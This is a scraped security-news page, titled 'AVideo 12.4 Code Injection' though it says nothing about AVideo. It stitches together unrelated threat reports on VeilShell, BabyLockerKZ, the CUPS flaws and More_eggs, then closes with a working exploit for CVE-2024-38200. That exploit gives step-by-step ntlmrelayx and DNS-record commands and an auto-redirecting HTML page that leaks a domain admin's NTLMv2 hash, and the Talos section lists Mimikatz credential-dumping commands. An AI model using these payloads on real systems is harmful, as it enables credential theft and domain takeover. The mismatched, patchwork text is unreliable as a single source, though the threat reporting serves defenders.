AVideo 12.4 Code Injection

Threat actors with ties to North Korea have been observed delivering a previously undocumented backdoor and remote access trojan (RAT) called VeilShell as part of a campaign targeting Cambodia and likely other Southeast Asian countries.

Cyber Espionage / Threat Intelligence

Threat actors with ties to North Korea have been observed delivering a previously undocumented backdoor and remote access trojan (RAT) called VeilShell as part of a campaign targeting Cambodia and likely other Southeast Asian countries.

The activity, dubbed **SHROUDED#SLEEP** by Securonix, is believed to be the handiwork of APT37, which is also known as InkySquid, Reaper, RedEyes, Ricochet Chollima, Ruby Sleet, and ScarCruft.

Active since at least 2012, the adversarial collective is assessed to be part of North Korea's Ministry of State Security (MSS). Like with other state-aligned groups, those affiliated with North Korea, including the Lazarus Group and Kimsuky, vary in their modus operandi and likely have ever-evolving objectives based on state interests.

A key malware in its toolbox is RokRAT (aka Goldbackdoor), although the group has also developed custom tools to facilitate covert intelligence gathering.

It's currently not known how the first stage payload, a ZIP archive bearing a Windows shortcut (LNK) file, is delivered to targets. However, it's suspected that it likely involves sending spear-phishing emails.

"The \[VeilShell\] backdoor trojan allows the attacker full access to the compromised machine," researchers Den Iuzvyk and Tim Peck said in a technical report shared with The Hacker News. "Some features include data exfiltration, registry, and scheduled task creation or manipulation."

The LNK file, once launched, acts as a dropper in that it triggers the execution of PowerShell code to decode and extract next-stage components embedded into it.

This includes an innocuous lure document, a Microsoft Excel or a PDF document, that's automatically opened, distracting the user while a configuration file ("d.exe.config") and a malicious DLL ("DomainManager.dll") file are written in the background to the Windows startup folder.

Also copied to the same folder is a legitimate executable named "dfsvc.exe" that's associated with the ClickOnce technology in Microsoft .NET Framework. The file is copied as "d.exe."

What makes the attack chain stand out is the use of a lesser-known technique called AppDomainManager injection in order to execute DomainManager.dll when "d.exe" is launched at startup and the binary reads the accompanying "d.exe.config" file located in the same startup folder.

It's worth noting that this approach was recently also put to use by the China-aligned Earth Baxia actor, indicating that it is slowly gaining traction among threat actors as an alternative to DLL side-loading.

The DLL file, for its part, behaves like a simple loader to retrieve JavaScript code from a remote server, which, in turn, reaches out to a different server to obtain the VeilShell backdoor.

VeilShell is a PowerShell-based malware that's designed to contact a command-and-control (C2) server to await further instructions that allow it to gather information about files, compress a specific folder into a ZIP archive and upload it back to the C2 server, download files from a specified URL, rename and delete files, and extract ZIP archives.

"Overall, the threat actors were quite patient and methodical," the researchers noted. "Each stage of the attack features very long sleep times in an effort to avoid traditional heuristic detections. Once VeilShell is deployed it doesn't actually execute until the next system reboot."

"The SHROUDED#SLEEP campaign represents a sophisticated and stealthy operation targeting Southeast Asia leveraging multiple layers of execution, persistence mechanisms, and a versatile PowerShell-based backdoor RAT to achieve long-term control over compromised systems."

Securonix's report comes a day after Broadcom-owned Symantec revealed that the North Korean threat actor tracked as Andariel targeted three different organizations in the U.S. in August 2024 as part of a financially motivated campaign.

North Korean Hackers Using New VeilShell Backdoor in Stealthy Cyber Attacks

The malware, called "BabyLockerKZ," has primarily affected users in Europe and South America.

*   Cisco Talos has discovered a financially motivated threat actor, active since 2022, recently observed delivering a MedusaLocker ransomware variant. 
*   Intelligence collected by Talos on tools regularly employed by the threat actor allows us to see an estimate of the amount and countries of origin of this group’s victims. This actor has been active since at least late 2022 and targets organizations worldwide, although the number of victims was higher than average in EU countries until mid-2023 and, since then, in South American countries.
*   This threat actor was observed distributing a MedusaLocker ransomware variant known as “BabyLockerKZ.” This variant is compiled with a PDB path containing the word “paid\_memes” which is also present in other tools observed during the attacks, presumably by the same author.
*   Talos has new information on the attacker’s tools, including BabyLockerKz and attacker TTPs and IOCs to assist in detecting and preventing further attacks.

Talos has recently observed an attack leading to the deployment of a MedusaLocker ransomware variant known as “BabyLockerKZ.” The distinguishable techniques — including consistently storing the same set of tools in the same location on compromised systems, the use of tools that have the PDB path with the string “paid\_memes,” and the use of a lateral movement tool named “checker” — used in the attack led us to take a deeper look to try to understand more about this threat actor. 

This attacker uses several publicly known attack tools and living-off-the-land binaries (LoLBins), a set of tools built by the same developer (possibly the attacker) to assist in credential theft and lateral movement in compromised organizations. These tools are mostly wrappers around publicly available tools that include additional functionality to streamline the attack process and provide graphical or command-line interfaces. 

The same developer built the MedusaLocker variant used in the initial attack. This variant that uses the same chat and leak site URLs contains several differences to the original MedusaLocker ransomware, such as a different autorun key or an extra public and private key set stored in the registry. Based on the name of the autorun key, the attackers call this variant “BabyLockerKZ.” 

We assess with medium confidence that the actor is financially motivated, likely working as an IAB or an affiliate of a ransomware cartel, and has been carrying out attacks since at least 2022. Our telemetry indicates that the actor opportunistically targeted many victims worldwide. In late 2022 and early 2023, most victims were in European countries, but since the first quarter of 2023, the group’s focus shifted toward South American countries and, as a result, the number of victims per month almost doubled.

**Tracking BabyLockerKZ across the globe**

Intelligence collected by Talos on tools regularly employed by the threat actor allows us to estimate the number of, and the countries of origin of the victims. Although this is unlikely to capture all of the adversary’s activities, it still provides a look at a specific window of activity.

The actor has been active since at least October 2022. At that time, the targets were mostly located in European countries such as France, Germany, Spain or Italy. During the second  quarter of 2023, the attack volume per month almost doubled, and the group shifted its focus toward South American countries such as Brazil, Mexico, Argentina and Colombia, as shown in the chart below. The attacks kept a steady volume of around 200 unique IPs compromised per month until the first quarter of 2024 when the attacks decreased.

The actor has consistently compromised a large number of organizations, often more than 100 per month, since at least 2022. This reveals the professional and highly aggressive nature of the attacks and is coherent with the activity we would expect from an IAB or ransomware affiliate.

During the attack leading to the deployment of the BabyLockerKZt, the adversary used several publicly known attack tools and others that could be unique to this actor. The group frequently used the Music, Pictures or Documents user folders of compromised systems to store attack tools. For example, the following paths were used to store tools during this attack:

*   c:\\users\\<user>\\music\\advanced\_port\_scanner\_2.5.3869.exe
*   c:\\users\\<user>\\music\\hrsword\\hrsword install.bat
*   c:\\users\\<user>\\music\\killav\\build.004\\disabler.exe
*   c:/users/<user>/music/checker/checker(222).exe
*   c:/users/<user>/music/checker/invoke-thehash.ps1
*   c:/users/<user>/music/checker/checker (222).exe
*   c:/users/<user>/music/checker/invoke-smbexec.ps1
*   c:/users/<user>/music/checker/invoke-wmiexec.ps1
*   c:/users/<user>/appdata/roaming/ntsystem/ntlhost.exe.exe
*   c:/users/<user>/appdata/local/temp/advanced port scanner 2/advanced\_port\_scanner.exe
*   c:/users/<user>/appdata/local/temp/is-juad3.tmp/advanced\_port\_scanner\_2.5.3869.tmp

These are similar to a previous attack leading to MedusaLocker ransomware, documented by ASEC in February 2023, which our telemetry suggests was a more active period for this threat actor.

Some of the publicly known tools used by the attacker are:

*   HRSword\_v5.0.1.1.rar: A tool used to disable AV and EDR software.
*   Advanced\_Port\_Scanner\_2.5.3869.exe: A network-scanning tool with several additional features to map internal networks and devices.
*   Netscan.exe: SoftPerfect Network Scanner: A tool similar to Advanced Port Scanner.
*   Processhacker.exe: Process Monitoring and administration software. Allows a TA to enumerate and control processes running on the infected endpoint.
*   PCHunter64.exe: A tool similar to processhacker.
*   Mimikatz: A tool to dump Windows user credentials from memory.

While most of the tools the attacker uses are publicly available, they also use some tools that are not widely distributed that streamline the attack process by automating the interaction between popular attack tools (e.g., Mimikatz, Invoke-the-hash, PSEXEC, RDP) and by adding convenient functionality and interfaces. One of these tools, called “Checker” used in an attack that deployed BabyLockerKZ, consisted of pivotal characteristics of BabyLockerKZ, the “Checker” tool has a PDB path containing the string “**paid\_memes**”. Pivoting off this string, we identified files on VirusTotal, of which most are BabyLockerKZ samples. We also discovered several other tools, which we’ll outline below.

Checker (E:\\**paid\_memes**\\wmi\_smb\_rdp\_checker\\Release\\checker.pdb) is an app that bundles several other freely available apps and provides a GUI for management of credentials as the attackers proceed with lateral movement. In particular it contains a set of tools:

*   Remote Desktop Plus
*   PSEXEC
*   MIMIKATZ

And a set of scripts based on the Invoke-TheHash tool.

The tool also contains a GUI, as shown below, and a database to store the credentials.

As the image illustrates, the tool can be used to scan IPs for valid credentials using several protocols/techniques (PSEXEC, RDP, SMB and WMI) and is prepared to import data from lists of hosts and some of the tools in the attacker toolset, such as Mimikatz, as well as an advanced port scanner. The tool can also decrypt hashes and offers the convenience of a GUI to store a database of the hosts and respective credentials that have been obtained or verified.

**PTH project**

The PTH (D:\\Projects\\**paid\_memes**\\PTH\\Release\\PTH.pdb) name suggests the pass-the-hash technique to use NTLM hashes to authenticate remotely without having to crack the password. Looking at its resources it embeds:

*   Invoke-SMBClient.ps1
*   Invoke-SMBEnum.ps1
*   Invoke-SMBExec.ps1
*   Invoke-TheHash.ps1
*   Invoke-WMIExec.ps1

These were also used in the checker tool and are part of Invoke-TheHash. According to the author: 

_“Invoke-TheHash contains PowerShell functions for performing pass the hash WMI and SMB tasks. WMI and SMB connections are accessed through the .NET TCPClient. Authentication is performed by passing an NTLM hash into the NTLMv2 authentication protocol. Local administrator privilege is not required client-side.”_

MIMIK (D:\\Projects\\**paid\_memes**\\mimik\\Release\\stub\_mimik.pdb) is a wrapper around Mimikatz and rclone that can be used to steal credentials and automatically upload them to an attacker-controlled server. The following image shows the terminal output for the tool.

The following command lines are examples of commands executed via the tool:

*   64.exe privilege::debug sekurlsa::logonPasswords token::elevate lsadump::sam full exit 
*   C:\\Users\\user\\Desktop\\64.exe 64.exe "privilege::debug" "sekurlsa::logonPasswords" "token::elevate" "lsadump::sam full" exit 
*   64.exe "privilege::debug" "sekurlsa::logonPasswords" "token::elevate" "lsadump::sam full" exit
*   C:\\Users\\user\\Desktop\\rclone.exe rclone rcd --rc-no-auth --bwlimit=30M
*   C:\\Users\\user\\Desktop\\rclone.exe rclone rc operations/stat

**BabyLockerKZ**

BabyLockerKZ is a variant of MedusaLocker that has been around at least since late 2023 and has been analyzed by other researchers, although not specifically called out as a MedusaLocker variant with this name. 

A Cynet blog post on the malware used the name “Hazard” for a MedusaLocker variant (named after the extension used for encrypted files) and mentions the existence of the BabyLockerKZ registry key. 

Another post from Whitehat mentions the existence of PAIDMEMES PUBLIC and PRIVATE registry keys on a MedusaLocker sample. 

This variant has not been given much attention outside of that, though, possibly because it’s highly similar to MedusaLocker or because it uses the same chat and leak sites as MedusaLocker. But there are several notable differences between BabyLockerKZ and MedusaLocker, such as:

*   No {8761ABBD-7F85-42EE-B272-A76179687C63} mutex.
*   No MDSLK reg key.
*   The PAIDMEMES Public and private keys.
*   The BabyLockerKZ run key.

The use of the PAIDMEMES public and private keys is unclear. In their post, Whitehat mentioned that they believe the keys aren’t necessary for the encryption process, as the Linux version doesn’t use them. Further research into the use of these keys might be a topic for another blog post.

This article explores the Linux vulnerability discovered by Simone Margaritelli, which, according to cybersecurity companies Uptycs and Akamai, can be exploited for additional malicious purposes, including RCE and DDoS attacks against the Common Unix Printing System (CUPS).

Hackread.com recently **reported** a critical Linux vulnerability, discovered by cybersecurity researcher Simone Margaritelli (aka **evilsocket**), which could allow attackers to gain complete control of GNU/Linux systems, potentially allowing Linux Remote code execution. This decade-old flaw affects all GNU/Linux systems and has a severity score of 9.9 out of 10, indicating immense potential for damage if exploited. 

As per the latest updates, new findings from Cloud computing giant, Akamai, and cybersecurity firm, Uptycs, highlight an even more immediate concern: exploiting the issue for devastating DDoS attacks and carrying out remote code execution (RCE) in Linux.

****Uptycs Research****

Uptycs threat research team **identified** vulnerabilities in CUPS (Common UNIX Printing System), which can be exploited to install malicious printers and execute unauthenticated remote code execution attacks. CUPS is a widely used open-source printing system for Linux and Unix-like operating systems, allowing users to share printers on a network and manage printing jobs. 

The vulnerability resides in the cups-browsed daemon, a component that searches for available network printers. An attacker can exploit this flaw by sending a malicious packet to a vulnerable CUPS service. This packet tricks the service into fetching a non-existent printer description file from a target server specified by the attacker.

According to researchers, attackers can create a malicious PPD file and send it to a vulnerable CUPS server, requiring the cups-browsed daemon to be enabled, UDP port 631 open, and the victim to print to the malicious printer.

****Akamai Research****

Researchers at Akamai SIRT (Security Incident Response Team) also discovered a flaw that allows attackers to exploit vulnerable CUPS servers and turn them into unwitting amplifiers for distributed- denial-of-service (DDoS) attacks, allowing attackers to exploit vulnerable servers and turn them into unwitting DDoS hosts.

According to the company’s **blog post** published on October 01, 2024, the attack involves misinterpreting a UDP packet, downloading malicious data, and establishing multiple TCP connections to a target system, potentially causing an outage. 

****The Scope of the Problem:****

*   Akamai identified over 198,000 internet-connected devices running CUPS.
*   Roughly 34% (over 58,000) of these devices were vulnerable to the attack.
*   Outdated CUPS versions (released as far back as 2007) were the most susceptible.
*   Testing revealed potential amplification factors of up to 600x, significantly increasing attack power.

The issues discussed in these reports are directly related to the Linux vulnerability discovered by Margaritelli because his identified vulnerability involves a remote code execution exploit chain that targets the Common Unix Printing System (CUPS).

This exploit chain leverages several vulnerabilities, including **CVE-2024-47175** (libppd), **CVE-2024-47176** (cups-browsed), **CVE-2024-47177** (cups-filters), and **CVE-2024-47076** (libcupsfilters).

To stay protected, install the latest version of CUPS and ensure all system components, such as libcupsfilters, libppd, and cups-filters, are updated. Disable or configure cups-browsed daemon, if printing isn’t essential, or restrict access to it to trusted devices. Strengthen network security with firewalls, intrusion detection systems, and IPS, and regularly review and update security policies.

Decade-Old Linux Vulnerability Can Be Exploited for DDoS Attacks on CUPS

A spear-phishing email campaign has been observed targeting recruiters with a JavaScript backdoor called More_eggs, indicating persistent efforts to single out the sector under the guise of fake job applicant lures.
"A sophisticated spear-phishing lure tricked a recruitment officer into downloading and executing a malicious file disguised as a resume, leading to a more_eggs backdoor infection,"

A spear-phishing email campaign has been observed targeting recruiters with a JavaScript backdoor called More\_eggs, indicating persistent efforts to single out the sector under the guise of fake job applicant lures.

"A sophisticated spear-phishing lure tricked a recruitment officer into downloading and executing a malicious file disguised as a resume, leading to a more\_eggs backdoor infection," Trend Micro researchers Ryan Soliven, Maria Emreen Viray, and Fe Cureg said in an analysis.

More\_eggs, sold as a malware-as-a-service (MaaS), is a malicious software that comes with capabilities to siphon credentials, including those related to online bank accounts, email accounts, and IT administrator accounts.

It's attributed to a threat actor called the Golden Chickens group (aka Venom Spider), and has been put to use by several other e-crime groups like FIN6 (aka ITG08), Cobalt, and Evilnum.

Earlier this June, eSentire disclosed details of a similar attack that leverages LinkedIn as a distribution vector for phony resumes hosted on an attacker-controlled site. The files, in reality, are Windows shortcut (LNK) files that, upon opening, trigger the infection sequence.

The latest findings from Trend Micro mark a slight deviation from the earlier observed pattern in that the threat actors sent a spear-phishing email in a likely attempt to build trust and gain their confidence. The attack was observed in late August 2024, targeting a talent search lead working in the engineering sector.

"Shortly after, a recruitment officer downloaded a supposed resume, John Cboins.zip, from a URL using Google Chrome," the researchers said. "It was not determined where this user obtained the URL. However, it was clear from both users' activities that they were looking for an inside sales engineer."

The URL in question, johncboins\[.\]com, contains a "Download CV" button to entice the victim into downloading a ZIP archive file containing the LNK file. It's worth noting that the attack chain reported by eSentire also includes an identical site with a similar button that directly downloads the LNK file.

Double-clicking the LNK file results in the execution of obfuscated commands that lead to the execution of a malicious DLL, which, in turn, is responsible for dropping the More\_eggs backdoor via a launcher.

More\_eggs commences its activities by first checking if it's running with admin or user privileges, followed by running a series of commands to perform reconnaissance of the compromised host. It subsequently beacons to a command-and-control (C2) server to receive and execute secondary malware payloads.

Trend Micro said it observed another variation of the campaign that includes PowerShell and Visual Basic Script (VBS) components as part of the infection process.

"Attributing these attacks is challenging due to the nature of MaaS, which allows for the outsourcing of various attack components and infrastructure," it said. "This makes it difficult to pin down specific threat actors, as multiple groups can use the same toolkits and infrastructure provided by services like those offered by Golden Chickens."

That said, it's suspected that the attack could have been the work of FIN6, the company noted, citing the tactics, techniques, and procedures (TTPs) employed.

The development comes weeks after HarfangLab shed light on PackXOR, a private packer used by the FIN7 cybercrime group to encrypt and obfuscate the AvNeutralizer tool.

The French cybersecurity firm said it observed the same packer being used to "protect unrelated payloads" such as the XMRig cryptocurrency miner and the r77 rootkit, raising the possibility that it could also be leveraged by other threat actors.

"PackXOR developers might indeed be connected to the FIN7 cluster, but the packer appears to be used for activities that are not related to FIN7," HarfangLab said.

Microsoft Office 2019 MSO build 1808 (16.0.10411.20011) and Microsoft 365 MSO version 2403 build 16.0.17425.20176 suffer from an NTLMv2 hash disclosure vulnerability.

# Exploit Title: Microsoft Office NTLMv2 Disclosure Vulnerability  
# Exploit Author: Metin Yunus Kandemir  
# Vendor Homepage: https://www.office.com/  
# Software Link: https://www.office.com/  
# Details: https://github.com/passtheticket/CVE-2024-38200  
# Version: Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011), Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176)  
# Tested against: Windows 11  
# CVE: CVE-2024-38200

# Description  
MS Office URI schemes allow for fetching a document from remote source.   
MS URI scheme format is '< scheme-name >:< command-name >"|"< command-argument-descriptor > "|"< command-argument >' .  
Example: ms-word:ofe|u|http://hostname:port/leak.docx  
When the URI "ms-word:ofe|u|http://hostname:port/leak.docx" is invoked from a victim computer. This behaviour is abused to capture and relay NTLMv2 hash over SMB and HTTP. For detailed information about capturing a victim user's NTLMv2 hash over SMB, you can also visit https://www.privsec.nz/releases/ms-office-uri-handlers.

# Proof Of Concept  
 If we add a DNS A record and use this record within the Office URI, Windows will consider the hostname as part of the Intranet Zone. In this way, NTLMv2 authentication occurs automatically and a standard user can escalate privileges without needing a misconfigured GPO. Any domain user with standard privileges can add a non-existent DNS record so this attack works with default settings for a domain user.

1. Add a DNS record to resolve hostname to attacker IP address which runs ntlmrelayx. It takes approximately 5 minutes for the created record to start resolving.  
$ python dnstool.py -u 'unsafe.local\testuser' -p 'pass' -r 'attackerhost' --action 'add' --data [attacker-host-IP] [DC-IP] --zone unsafe.local

2. Fire up ntlmrelayx with following command  
$ python ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user testuser --http-port 8080

3. Serve following HTML file using Apache server. Replace hostname with added record (e.g. attackerhost).

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Microsoft Office</title>  
</head>  
<body>  
    <a id="link" href="ms-word:ofe|u|http://hostname:port/leak.docx"></a>

    <script>  
        function navigateToLink() {  
            var link = document.getElementById('link');  
            if (link) {  
                var url = link.getAttribute('href');  
                window.location.href = url;  
            }  
        }  
        window.onload = navigateToLink;  
    </script>  
</body>  
</html> 

4. Send the URL of the above HTML file to a user with domain admin privileges. You should check whether the DNS record is resolved with the ping command before sending the URL. When the victim user navigates to the URL, clicking the 'Open' button is enough to capture the NTLMv2 hash. (no warning!)

5. The captured NTLMv2 hash over HTTP is relayed to Domain Controller with ntlmrelayx. As a result, a standard user can obtain DCSync and Enterprise Admins permissions under the default configurations with just two clicks.
